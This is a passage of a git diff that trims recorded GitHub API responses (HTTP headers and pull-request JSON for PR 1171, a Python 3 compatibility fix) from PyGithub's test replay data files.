bit.","created_at":"2019-07-15T11:44:35Z","updated_at":"2019-07-15T12:56:28Z","closed_at":null,"merged_at":null,"merge_commit_sha":"d6c7b974d468eed8da81155a1b6c4c9fa6c2c345","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/1171/commits","review_comments_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/1171/comments","review_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments{/number}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1171/comments","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/14c79c13250edd1155af42f83b76a913faf58e9d","head":{"label":"Ferada:small-fixes-for-python-3","ref":"small-fixes-for-python-3","sha":"14c79c13250edd1155af42f83b76a913faf58e9d","user":{"login":"Ferada","id":13713,"node_id":"MDQ6VXNlcjEzNzEz","avatar_url":"https://avatars1.githubusercontent.com/u/13713?v=4","gravatar_id":"","url":"https://api.github.com/users/Ferada","html_url":"https://github.com/Ferada","followers_url":"https://api.github.com/users/Ferada/followers","following_url":"https://api.github.com/users/Ferada/following{/other_user}","gists_url":"https://api.github.com/users/Ferada/gists{/gist_id}","starred_url":"https://api.github.com/users/Ferada/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Ferada/subscriptions","organizations_url":"https://api.github.com/users/Ferada/orgs","repos_url":"https://api.github.com/users/Ferada/repos","events_url":"https://api.github.com/users/Ferada/events{/privacy}","received_events_url":"https://api.github.com/users/Ferada/received_events","type":"User","site_admin":false},"repo":{"id":196607288,"node_id":"MDEwOlJlcG9zaXRvcnkxOTY2MDcyODg=","name":"PyGithub","full_name":"Ferada/PyGithub","private":false,"owner":{"login":"Ferada","id":13713,"node_id":"MDQ6VXNlcjEzNzEz","avatar_url":"https://avatars1.githubusercontent.com/u/13713?v=4","gravatar_id":"","url":"https://api.github.com/users/Ferada","html_url":"https://github.com/Ferada","followers_url":"https://api.github.com/users/Ferada/followers","following_url":"https://api.github.com/users/Ferada/following{/other_user}","gists_url":"https://api.github.com/users/Ferada/gists{/gist_id}","starred_url":"https://api.github.com/users/Ferada/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Ferada/subscriptions","organizations_url":"https://api.github.com/users/Ferada/orgs","repos_url":"https://api.github.com/users/Ferada/repos","events_url":"https://api.github.com/users/Ferada/events{/privacy}","received_events_url":"https://api.github.com/users/Ferada/received_events","type":"User","site_admin":false},"html_url":"https://github.com/Ferada/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/Ferada/PyGithub","forks_url":"https://api.github.com/repos/Ferada/PyGithub/forks","keys_url":"https://api.github.com/repos/Ferada/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/Ferada/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/Ferada/PyGithub/teams","hooks_url":"https://api.github.com/repos/Ferada/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/Ferada/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/Ferada/PyGithub/events","assignees_url":"https://api.github.com/repos/Ferada/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/Ferada/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/Ferada/PyGithub/tags","blobs_url":"https://api.github.com/repos/Ferada/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/Ferada/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/Ferada/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/Ferada/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/Ferada/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/Ferada/PyGithub/languages","stargazers_url":"https://api.github.com/repos/Ferada/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/Ferada/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/Ferada/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/Ferada/PyGithub/subscription","commits_url":"https://api.github.com/repos/Ferada/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/Ferada/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/Ferada/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/Ferada/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/Ferada/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/Ferada/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/Ferada/PyGithub/merges","archive_url":"https://api.github.com/repos/Ferada/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/Ferada/PyGithub/downloads","issues_url":"https://api.github.com/repos/Ferada/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/Ferada/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/Ferada/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/Ferada/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/Ferada/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/Ferada/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/Ferada/PyGithub/deployments","created_at":"2019-07-12T15:57:24Z","updated_at":"2019-07-12T15:57:30Z","pushed_at":"2019-07-15T16:46:32Z","git_url":"git://github.com/Ferada/PyGithub.git","ssh_url":"git@github.com:Ferada/PyGithub.git","clone_url":"https://github.com/Ferada/PyGithub.git","svn_url":"https://github.com/Ferada/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11951,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"PyGithub:master","ref":"master","sha":"8b6b4505b646523000db0c0a7ca15e4c04ff2abd","user":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"repo":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2019-07-14T13:11:51Z","pushed_at":"2019-07-15T16:46:34Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11949,"stargazers_count":2692,"watchers_count":2692,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":926,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":71,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":926,"open_issues":71,"watchers":2692,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/1171"},"html":{"href":"https://github.com/PyGithub/PyGithub/pull/1171"},"issue":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/1171"},"comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/1171/comments"},"review_comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/1171/comments"},"review_comment":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/1171/commits"},"statuses":{"href":"https://api.github.com/repos/PyGithub/PyGithub/statuses/14c79c13250edd1155af42f83b76a913faf58e9d"}},"author_association":"NONE","merged":false,"mergeable":true,"rebaseable":true,"mergeable_state":"clean","merged_by":null,"comments":1,"review_comments":0,"maintainer_can_modify":true,"commits":1,"additions":8,"deletions":4,"changed_files":3} - diff --git a/tests/ReplayData/PullRequest1168.testGetPullRequest.txt b/tests/ReplayData/PullRequest1168.testGetPullRequest.txt index 2cf68f0462..09f6f33996 100644 --- a/tests/ReplayData/PullRequest1168.testGetPullRequest.txt +++ b/tests/ReplayData/PullRequest1168.testGetPullRequest.txt @@ -19,4 +19,3 @@ None 200 [('Date', 'Mon, 15 Jul 2019 17:30:20 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4938'), ('X-RateLimit-Reset', '1563215420'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('ETag', 'W/"e1697bb04d5d6f5c8aa477cc7b41a2dc"'), ('Last-Modified', 'Mon, 15 Jul 2019 12:56:28 GMT'), ('X-OAuth-Scopes', 'notifications, public_repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D06E:17F13:5CAAB3A:72EFA8F:5D2CB82B')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/1171","id":297582636,"node_id":"MDExOlB1bGxSZXF1ZXN0Mjk3NTgyNjM2","html_url":"https://github.com/PyGithub/PyGithub/pull/1171","diff_url":"https://github.com/PyGithub/PyGithub/pull/1171.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/1171.patch","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1171","number":1171,"state":"open","locked":false,"title":"Fix small issues for Python 3 compatibility.","user":{"login":"Ferada","id":13713,"node_id":"MDQ6VXNlcjEzNzEz","avatar_url":"https://avatars1.githubusercontent.com/u/13713?v=4","gravatar_id":"","url":"https://api.github.com/users/Ferada","html_url":"https://github.com/Ferada","followers_url":"https://api.github.com/users/Ferada/followers","following_url":"https://api.github.com/users/Ferada/following{/other_user}","gists_url":"https://api.github.com/users/Ferada/gists{/gist_id}","starred_url":"https://api.github.com/users/Ferada/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Ferada/subscriptions","organizations_url":"https://api.github.com/users/Ferada/orgs","repos_url":"https://api.github.com/users/Ferada/repos","events_url":"https://api.github.com/users/Ferada/events{/privacy}","received_events_url":"https://api.github.com/users/Ferada/received_events","type":"User","site_admin":false},"body":"Still can't run tests with Python 3, but it's improving it a bit.","created_at":"2019-07-15T11:44:35Z","updated_at":"2019-07-15T12:56:28Z","closed_at":null,"merged_at":null,"merge_commit_sha":"d6c7b974d468eed8da81155a1b6c4c9fa6c2c345","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/1171/commits","review_comments_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/1171/comments","review_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments{/number}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1171/comments","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/14c79c13250edd1155af42f83b76a913faf58e9d","head":{"label":"Ferada:small-fixes-for-python-3","ref":"small-fixes-for-python-3","sha":"14c79c13250edd1155af42f83b76a913faf58e9d","user":{"login":"Ferada","id":13713,"node_id":"MDQ6VXNlcjEzNzEz","avatar_url":"https://avatars1.githubusercontent.com/u/13713?v=4","gravatar_id":"","url":"https://api.github.com/users/Ferada","html_url":"https://github.com/Ferada","followers_url":"https://api.github.com/users/Ferada/followers","following_url":"https://api.github.com/users/Ferada/following{/other_user}","gists_url":"https://api.github.com/users/Ferada/gists{/gist_id}","starred_url":"https://api.github.com/users/Ferada/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Ferada/subscriptions","organizations_url":"https://api.github.com/users/Ferada/orgs","repos_url":"https://api.github.com/users/Ferada/repos","events_url":"https://api.github.com/users/Ferada/events{/privacy}","received_events_url":"https://api.github.com/users/Ferada/received_events","type":"User","site_admin":false},"repo":{"id":196607288,"node_id":"MDEwOlJlcG9zaXRvcnkxOTY2MDcyODg=","name":"PyGithub","full_name":"Ferada/PyGithub","private":false,"owner":{"login":"Ferada","id":13713,"node_id":"MDQ6VXNlcjEzNzEz","avatar_url":"https://avatars1.githubusercontent.com/u/13713?v=4","gravatar_id":"","url":"https://api.github.com/users/Ferada","html_url":"https://github.com/Ferada","followers_url":"https://api.github.com/users/Ferada/followers","following_url":"https://api.github.com/users/Ferada/following{/other_user}","gists_url":"https://api.github.com/users/Ferada/gists{/gist_id}","starred_url":"https://api.github.com/users/Ferada/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Ferada/subscriptions","organizations_url":"https://api.github.com/users/Ferada/orgs","repos_url":"https://api.github.com/users/Ferada/repos","events_url":"https://api.github.com/users/Ferada/events{/privacy}","received_events_url":"https://api.github.com/users/Ferada/received_events","type":"User","site_admin":false},"html_url":"https://github.com/Ferada/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/Ferada/PyGithub","forks_url":"https://api.github.com/repos/Ferada/PyGithub/forks","keys_url":"https://api.github.com/repos/Ferada/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/Ferada/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/Ferada/PyGithub/teams","hooks_url":"https://api.github.com/repos/Ferada/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/Ferada/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/Ferada/PyGithub/events","assignees_url":"https://api.github.com/repos/Ferada/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/Ferada/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/Ferada/PyGithub/tags","blobs_url":"https://api.github.com/repos/Ferada/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/Ferada/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/Ferada/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/Ferada/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/Ferada/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/Ferada/PyGithub/languages","stargazers_url":"https://api.github.com/repos/Ferada/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/Ferada/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/Ferada/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/Ferada/PyGithub/subscription","commits_url":"https://api.github.com/repos/Ferada/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/Ferada/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/Ferada/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/Ferada/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/Ferada/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/Ferada/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/Ferada/PyGithub/merges","archive_url":"https://api.github.com/repos/Ferada/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/Ferada/PyGithub/downloads","issues_url":"https://api.github.com/repos/Ferada/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/Ferada/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/Ferada/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/Ferada/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/Ferada/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/Ferada/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/Ferada/PyGithub/deployments","created_at":"2019-07-12T15:57:24Z","updated_at":"2019-07-12T15:57:30Z","pushed_at":"2019-07-15T16:46:32Z","git_url":"git://github.com/Ferada/PyGithub.git","ssh_url":"git@github.com:Ferada/PyGithub.git","clone_url":"https://github.com/Ferada/PyGithub.git","svn_url":"https://github.com/Ferada/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11951,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"PyGithub:master","ref":"master","sha":"8b6b4505b646523000db0c0a7ca15e4c04ff2abd","user":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"repo":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2019-07-14T13:11:51Z","pushed_at":"2019-07-15T16:46:34Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11949,"stargazers_count":2692,"watchers_count":2692,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":926,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":71,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":926,"open_issues":71,"watchers":2692,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/1171"},"html":{"href":"https://github.com/PyGithub/PyGithub/pull/1171"},"issue":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/1171"},"comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/1171/comments"},"review_comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/1171/comments"},"review_comment":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/1171/commits"},"statuses":{"href":"https://api.github.com/repos/PyGithub/PyGithub/statuses/14c79c13250edd1155af42f83b76a913faf58e9d"}},"author_association":"NONE","merged":false,"mergeable":true,"rebaseable":true,"mergeable_state":"clean","merged_by":null,"comments":1,"review_comments":0,"maintainer_can_modify":true,"commits":1,"additions":8,"deletions":4,"changed_files":3} - diff --git a/tests/ReplayData/PullRequest1169.setUp.txt b/tests/ReplayData/PullRequest1169.setUp.txt index 497024976b..e2262c25fd 100644 --- a/tests/ReplayData/PullRequest1169.setUp.txt +++ b/tests/ReplayData/PullRequest1169.setUp.txt @@ -8,4 +8,3 @@ None 200 [('Date', 'Mon, 15 Jul 2019 16:42:29 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4996'), ('X-RateLimit-Reset', '1563212378'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('ETag', 'W/"008b74d487f841788d500932ead14cf7"'), ('Last-Modified', 'Sun, 14 Jul 2019 20:51:11 GMT'), ('X-OAuth-Scopes', 'notifications, public_repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 